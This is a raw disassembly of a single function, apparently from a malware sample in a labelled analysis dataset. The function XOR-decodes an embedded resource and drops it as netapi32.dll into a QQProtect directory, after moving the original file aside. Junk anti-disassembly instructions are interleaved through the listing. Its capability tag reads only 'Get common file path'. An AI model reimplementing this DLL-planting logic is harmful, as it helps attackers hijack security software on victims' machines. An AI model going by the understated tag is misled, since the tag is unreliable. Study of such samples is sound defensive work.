Function at 0x10040f20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101620a6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6b0
mov eax, dword [0x101b9578]
mov dword [ebp - 0x14], eax
push esi
push edi
mov byte [ebp - 0x22c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x22b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x11c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x11b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x43c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x43b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x120], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x690], eax
lea ecx, [ebp - 0x22c]
mov dword [ebp - 0x694], ecx
mov edx, dword [ebp - 0x694]
mov dword [ebp - 0x698], edx
mov eax, dword [ebp - 0x690]
mov cl, byte [eax]
mov byte [ebp - 0x699], cl
mov edx, dword [ebp - 0x694]
mov al, byte [ebp - 0x699]
mov byte [edx], al
mov ecx, dword [ebp - 0x690]
add ecx, 1
mov dword [ebp - 0x690], ecx
mov edx, dword [ebp - 0x694]
add edx, 1
mov dword [ebp - 0x694], edx
cmp byte [ebp - 0x699], 0
jne 0x10040fbe
cmp dword [ebp + 0xc], 1
jne 0x10041096
je 0x10041018
jne 0x10041018
call 0x27403484
adc byte [ebp - 0x22b7b], cl
call dword [eax - 0x18]
ja 0x10041032
push str.qqprotect.exe
lea eax, [ebp - 0x22c]
push eax
call fcn.10101ba0
or al, 0
add esp, 8
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
je 0x1004108c
mov ecx, dword [ebp - 0x120]
mov dword [ebp - 0x6a0], ecx
mov edx, dword [ebp - 0x6a0]
inc edx
mov dword [ebp - 0x6a4], edx
mov eax, dword [ebp - 0x6a0]
mov cl, byte [eax]
mov byte [ebp - 0x6a5], cl
inc dword [ebp - 0x6a0]
cmp byte [ebp - 0x6a5], 0
jne 0x10041054
mov edx, dword [ebp - 0x6a0]
sub edx, dword [ebp - 0x6a4]
mov dword [ebp - 0x6ac], edx
cmp dword [ebp - 0x6ac], 0xe
je 0x10041091
jmp 0x100415c1
jmp 0x10041126
cmp dword [ebp + 0xc], 2
jne 0x10041126
je 0x100410ad
jne 0x100410ad
call 0x27401519
adc byte [ebp - 0x22b7b], cl
call dword [eax - 0x18]
loop 0x100410c6
push str.qqprotect_binqqprotect.exe
lea eax, [ebp - 0x22c]
push eax
call fcn.10101ba0
or al, 0
add esp, 8
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
inc dword [ebx - 0x11f43]
inc dword [eax]
je 0x10041121
mov ecx, dword [ebp - 0x120]
mov dword [ebp - 0x6b0], ecx
mov edx, dword [ebp - 0x6b0]
inc edx
mov dword [ebp - 0x6b4], edx
mov eax, dword [ebp - 0x6b0]
mov cl, byte [eax]
mov byte [ebp - 0x6b5], cl
inc dword [ebp - 0x6b0]
cmp byte [ebp - 0x6b5], 0
jne 0x100410e9
mov edx, dword [ebp - 0x6b0]
sub edx, dword [ebp - 0x6b4]
mov dword [ebp - 0x6bc], edx
cmp dword [ebp - 0x6bc], 0x1c
je 0x10041126
jmp 0x100415c1
cmp dword [0x101c7eec], 0
je 0x10041134
jmp 0x100415c1
cmp dword [ebp + 0xc], 2
jne 0x10041144
mov dword [0x101c7eec], 1
mov eax, dword [ebp - 0x120]
mov byte [eax], 0
cmp dword [ebp + 0xc], 2
jne 0x10041196
je 0x10041160
jne 0x10041160
call 0xdd89ef1
invalid
lea ecx, [ebp - 0x22c]
push ecx
push str._s_binqq.exe
lea edx, [ebp - 0x544]
push edx
call fcn.10101c69
add esp, 0xc
push 0
lea eax, [ebp - 0x544]
push eax
call fcn.101507ae
add esp, 8
cmp eax, 0xffffffff
jne 0x10041196
jmp 0x100415c1
push 0x104
lea ecx, [ebp - 0x11c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
je 0x100411b5
jne 0x100411b5
call 0xee8a746
invalid
lea edx, [ebp - 0x11c]
push edx
push str._s_netapi32.dll
lea eax, [ebp - 0x334]
push eax
call fcn.10101c69
add esp, 0xc
je 0x100411dd
jne 0x100411dd
call 0xee89f6e
invalid
lea ecx, [ebp - 0x11c]
push ecx
push str._s_netapix86.dll
lea edx, [ebp - 0x43c]
push edx
call fcn.10101c69
add esp, 0xc
push 0
lea eax, [ebp - 0x43c]
push eax
lea ecx, [ebp - 0x334]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x10041228
push 0
lea edx, [ebp - 0x43c]
push edx
call fcn.101507ae
add esp, 8
cmp eax, 0xffffffff
jne 0x100412a5
cmp dword [ebp + 0xc], 1
jne 0x10041258
je 0x1004123b
jne 0x1004123b
call 0xdd897cc
invalid
lea eax, [ebp - 0x22c]
push eax
push str._s_netapix86.dll
lea ecx, [ebp - 0x43c]
push ecx
call fcn.10101c69
add esp, 0xc
jmp 0x10041286
cmp dword [ebp + 0xc], 2
jne 0x10041286
je 0x1004126b
jne 0x1004126b
call 0xdd8a7fc
invalid
lea edx, [ebp - 0x22c]
push edx
push str._s_bin_netapix86.dll
lea eax, [ebp - 0x43c]
push eax
call fcn.10101c69
add esp, 0xc
push 0
lea ecx, [ebp - 0x43c]
push ecx
lea edx, [ebp - 0x334]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x100412a5
jmp 0x100415c1
je 0x100412b2
jne 0x100412b2
call 0x11109039
cmp dword [ebp + 0xc], 1
jne 0x100412d5
lea eax, [ebp - 0x22c]
push eax
push str._s_netapi32.dll
lea ecx, [ebp - 0x334]
push ecx
call fcn.10101c69
add esp, 0xc
jmp 0x100412f6
cmp dword [ebp + 0xc], 2
jne 0x100412f6
lea edx, [ebp - 0x22c]
push edx
push str._s_bin_netapi32.dll
lea eax, [ebp - 0x334]
push eax
call fcn.10101c69
add esp, 0xc
push 0
lea ecx, [ebp - 0x334]
push ecx
call fcn.101507ae
add esp, 8
test eax, eax
jne 0x1004140f
lea ecx, [ebp - 0x558]
call fcn.10152f39
mov dword [ebp - 4], 0
mov dword [ebp - 0x548], 0
push 0
push 0
lea edx, [ebp - 0x334]
push edx
lea ecx, [ebp - 0x558]
call fcn.101531d1
test eax, eax
je 0x10041361
lea ecx, [ebp - 0x558]
call fcn.10152e31
mov dword [ebp - 0x548], eax
lea ecx, [ebp - 0x558]
call fcn.10152ed7
cmp dword [ebp - 0x548], 0x11000
je 0x100413e6
mov byte [ebp - 0x664], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x663]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
je 0x10041393
jne 0x10041393
call 0x83d42996
push ss
adc byte [eax - 0x73], dl
test esp, edx
std
invalid
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x22c]
push eax
push str._s_bin_v_d.dat
lea ecx, [ebp - 0x664]
push ecx
call fcn.10101c69
add esp, 0x10
lea edx, [ebp - 0x664]
push edx
lea eax, [ebp - 0x334]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x100413e4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x558]
call fcn.10152f78
jmp 0x100415c1
jmp 0x100413fd
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x558]
call fcn.10152f78
jmp 0x100415c1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x558]
call fcn.10152f78
push 0x10173b90
push 0x3e9
mov ecx, dword [0x101c7f9c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x100415c1
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [0x101c7f9c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x66c], eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [0x101c7f9c]
push edx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x668], eax
cmp dword [ebp - 0x66c], 0
je 0x100415c1
cmp dword [ebp - 0x668], 0x11000
jne 0x100415b4
mov eax, dword [ebp - 0x668]
push eax
call fcn.1015297a
add esp, 4
mov dword [ebp - 0x688], eax
mov ecx, dword [ebp - 0x688]
mov dword [ebp - 0x670], ecx
mov ecx, dword [ebp - 0x668]
mov esi, dword [ebp - 0x66c]
mov edi, dword [ebp - 0x670]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x684], 0
jmp 0x100414d9
mov eax, dword [ebp - 0x684]
add eax, 1
mov dword [ebp - 0x684], eax
mov ecx, dword [ebp - 0x684]
cmp ecx, dword [ebp - 0x668]
jae 0x10041518
je 0x100414f4
jne 0x100414f4
call 0x994aa83
invalid
mov edx, dword [ebp - 0x670]
add edx, dword [ebp - 0x684]
movsx eax, byte [edx]
xor eax, 0x8b
mov ecx, dword [ebp - 0x670]
add ecx, dword [ebp - 0x684]
mov byte [ecx], al
jmp 0x100414ca
lea ecx, [ebp - 0x680]
call fcn.10152f39
mov dword [ebp - 4], 1
push 0
push 0x1001
lea edx, [ebp - 0x334]
push edx
lea ecx, [ebp - 0x680]
call fcn.101531d1
test eax, eax
je 0x1004156b
mov eax, dword [ebp - 0x668]
push eax
mov ecx, dword [ebp - 0x670]
push ecx
lea ecx, [ebp - 0x680]
call fcn.10152c8c
lea ecx, [ebp - 0x680]
call fcn.10152ed7
mov edx, dword [ebp - 0x670]
mov dword [ebp - 0x68c], edx
mov eax, dword [ebp - 0x68c]
push eax
call fcn.10152975
add esp, 4
je 0x10041593
jne 0x10041593
call 0x273fa1ff
adc byte [edx + 2], ch
push 0x10173b8c
push 2
call fcn.1008a780
add esp, 8
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x680]
call fcn.10152f78
mov ecx, dword [ebp - 0x66c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.1010122d
pop edi
pop esi
mov esp, ebp
pop ebp
ret